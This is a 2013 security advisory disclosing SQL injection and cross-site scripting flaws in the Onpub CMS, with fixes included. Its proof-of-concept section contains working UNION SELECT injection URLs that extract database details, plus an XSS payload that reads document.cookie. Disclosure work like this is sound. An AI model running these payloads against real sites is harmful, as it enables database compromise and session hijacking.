Document Title:
===============
Onpub CMS 1.4 & 1.5 - Multiple SQL Injection Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1120


Release Date:
=============
2013-10-26


Vulnerability Laboratory ID (VL-ID):
====================================
1120


Common Vulnerability Scoring System:
====================================
8.2


Product & Service Introduction:
===============================
Onpub is a web content management system (CMS) designed for those with intermediate to advanced web development skills 
looking to quickly set up custom, dynamic websites that are quick to update and easy to maintain. All Onpub content is 
stored in a fast and reliable MySQL database backend. There are many ways to customize and extend Onpub`s default 
design and functionality via open-standard web development tools and techniques.

Onpub is ideal for those with no desire to implement a CMS from scratch, but still need a custom, yet agile solution. 
Onpub tightly integrates many widely used third-party web apps and scripts in to one coherent system to build further upon.

( Copy of the Vendor Homepage: http://onpub.com/ )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple remote web vulnerabilities in the Onpub v1.5 Content Management System web-application.


Vulnerability Disclosure Timeline:
==================================
2013-10-26:    Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Onpub
Product: Onpub - Content Management System 1.4  Lite and 1.5


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
1.1
Multiple remote sql injection web vulnerabilities are detected in the official in the Onpub v1.4 and 1.5 Content Management System web-application.
The vulnerability allows remote attackers to unauthorized inject own sql commands to compromise the web-application or the web-server dbms.

The sql injection vulnerabilities are located in the `websiteID`,`imageID`,`keywords`,`orderBy`,`order` and `articleID` values of the index.php file. 
Remote attackers are able to inject own sql commands via GET method request to compromise the database management system or cms web-application.
The inject can be done by usage of the manage path via GET method request or by usage of the articleID in the index.php file POST method request. 
The severity of the remote sql injection bugs is estimated as critical.

Exploitation of the remote sql injection web vulnerability requires no user interaction or privileged web-application user account.
Successful exploitation of the remote sql injection bug results in database management system and cms or web-application compromise.


Vulnerable Module(s):
        [+] Manage

Vulnerable File(s):
        [+] index.php

Vulnerable Parameter(s):
        [+] websiteID
        [+] imageID
        [+] keywords
        [+] orderBy
        [+] order
        [+] articleID



2.1
A client-side post inject web vulnerability is detected in the official in the Onpub v1.4 and v1.5 Content Management System web-application.
The vulnerability allows remote attackers to manipulate via POST method web-application to browser requests (client-side).

The client-side cross site scripting web vulnerability is located in the vulnerable `page` parameter of the index.php file (manage module). 
Remote attackers can manipulate the `page` parameter in the `index.php` file via GET method request to compromise client-side application context.

Successful exploitation of the client-side cross site scripting web vulnerability results in session hijacking, client-side phishing, 
client-side unauthorized external redirects and client-side manipulation of the contact formular module context.


Vulnerable Module(s):
        [+] Manage

Vulnerable File(s):
        [+] index.php

Vulnerable Parameter(s):
        [+] page



Proof of Concept (PoC):
=======================
1.1
The sql injection web vulnerabilities can be exploited by remote attackers without privileged application user account and user interaction.
For demonstration or to reproduce ...

PoC:
http://onpub.localhost:8080/onpub/manage/index.php?onpub=EditWebsite&websiteID=-1%27[SQL-INJECTION VULNERABILITY!]
http://onpub.localhost:8080/onpub/manage/index.php?onpub=EditArticles&fullTextSearch=1&keywords=-1%27[SQL-INJECTION VULNERABILITY!]
http://onpub.localhost:8080/onpub/manage/index.php?onpub=EditWebsites&orderBy=-1%27[SQL-INJECTION VULNERABILITY!]&order=ASC
http://onpub.localhost:8080/onpub/manage/index.php?onpub=EditArticles&orderBy=title&order=[SQL-INJECTION VULNERABILITY!]
http://onpub.localhost:8080/onpub/manage/index.php?onpub=EditImage&imageID=2%27a[SQL-INJECTION VULNERABILITY!]
http://onpub.localhost:8080/onpub/manage/index.php?onpub=EditArticle&articleID=1%20[SQL-INJECTION VULNERABILITY!]


onpub/index.php?onpub=EditWebsite&websiteID=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,@@version--
onpub/index.php?onpub=EditWebsite&websiteID=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,@@database--
onpub/index.php?onpub=EditWebsite&websiteID=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,@@user--





2.1
The client-side cross site scripting web vulnerability can be exploited by remote attackers without privileged application user account 
and with low user interaction click. For demonstration or to reproduce ...


PoC:
http://onpub.localhost:8080/onpub/manage/index.php?onpub=EditImages&page=2%27%22%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
 
http://onpub.localhost:8080/onpub/manage/index.php?onpub=EditImages&page=137%20>"<iframe%20src=http://www.vulnerability-lab.com>


Solution - Fix & Patch:
=======================
1.1
Parse in the index.php file the vulnerable `websiteID`,`imageID`,`keywords`,`articleID`,`orderBy`,`order`  parameters.
Use the mysql_real_escape_string() or a prepared statement to prevent sql injection attacks.

2.1
Parse or encode the vulnerable page parameter in the index.php file to prevent client-side cross site scripting attacks.


Security Risk:
==============
1.1
The security risk of the remote sql injection web vulnerabilities are estimated as critical.

1.2
The security risk of the client-side cross site scripting web vulnerability is estimated as medium(-).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Marcel Bernhardt (smash@evolution-sec.com)
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com)


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=========================
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